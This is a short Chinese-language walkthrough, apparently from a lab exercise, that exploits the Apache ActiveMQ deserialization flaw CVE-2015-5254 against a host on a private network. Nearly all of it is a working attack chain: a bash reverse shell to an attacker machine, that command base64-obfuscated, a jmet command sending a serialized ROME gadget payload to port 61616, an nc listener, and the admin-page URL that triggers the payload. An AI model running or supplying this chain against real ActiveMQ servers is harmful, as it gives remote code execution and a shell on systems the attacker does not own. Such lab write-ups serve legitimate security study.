目标:192.168.199.120:8161
漏洞:ActiveMQ反序列化漏洞(CVE-2015-5254)
攻击原理:Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
攻击步骤:
1.构造可执行命令的序列化对象
2.作为一个消息,发送给目标61616端口
3.访问web管理页面,读取消息,执行恶意命令
1.首先需要下载jmet的jar文件,并在同目录下创建一个external文件夹。
2.构造攻击消息
弹shell给攻击机
bash -i >& /dev/tcp/192.168.199.154/8888 0>&1
对该命令进行base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5OS4xNTQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}
将编码过后的命令通过jmet模块发送给靶机
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5OS4xNTQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.199.120 61616
这里可以看到生成的消息为:kali-34939-1563274167683-0:1
攻击机上设置监听:nc -l -p 8888
访问http://192.168.199.120:8161/admin/browse.jsp?JMSDestination=event点击触发我们构造的攻击语句。
此时回到kali,可以看到我们已经获得shell。